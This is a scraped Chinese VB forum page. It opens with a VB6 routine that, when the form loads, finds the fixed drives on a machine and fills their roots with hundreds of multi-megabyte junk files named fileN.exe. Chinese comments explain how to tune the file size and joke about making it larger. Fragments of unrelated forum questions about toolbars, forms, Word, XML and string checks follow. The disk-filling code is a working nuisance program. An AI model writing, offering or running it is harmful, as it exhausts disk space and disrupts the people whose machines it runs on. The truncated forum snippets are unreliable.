Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Sub Form_Load()
Label1.Caption = ""
Dim X As Integer, I As Integer, R As String, h As Integer, str As String, J As Integer
X = 0
I = 67
J = 1
Do While X <> 1
X = GetDriveType(Chr(I) + ":")
If X = 3 Then
R = Chr(I)
Label1.Caption = Label1.Caption & R
End If
I = I + 1
For J = 1 To 100
For h = 1 To 100
str = Left(R, J)
Open str + ":\file" + CStr(h) + ".exe" For Random As 1
DoEvents
Put #1, 300000, "file"
'注释: 这里的这个30000是控制生成文件大小的?
' 注释：30000产生的文件大小是3.6M左右
' 注释：10000产生的文件大小是1.2M左右
' 注释：如果你改为3000000的话，那就是360M，不要太坏哦！
Close #1
Next
Next
Loop
相关问答：
为什么工具栏按扭的宽度改变不了,在属性里改了又变成原来的数值了
大胡子真厉害，回答基本都是爆料级的
大胡子升级真快啊，这才几天就5条短裤外加月排名第一了
想想我这5个短裤混了差不多8年才得到的。
回复 ......
为什么我用form.show和form.hide多次连接了两个窗口只能互换链接两次啊？
代码看看
照道理form.show 没次数限定的吧
我也快疯了。
楼主知道怎么发贴么？
引用
我也快疯了。
楼主知道怎么发贴么？
楼主也 ......
在vb中如何读取Word内容(包含表格，图片，等）
竟然不是zero。
不知道怎么实现的不要说话
这个只能读文本,
VB code:
Private Sub Command1_Click()
Dim WordApp As Object
Set WordApp = CreateObject(& ......
现在有个xml文件是<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
xm ......
dim a as string,b as string，c as string
a="工程编号,单位工程名称,分部工程编号"
b="单位工程名称"
c="单位"
怎么才能判断出a字符串中存在b字符串，而不存在c字符串
看看i ......
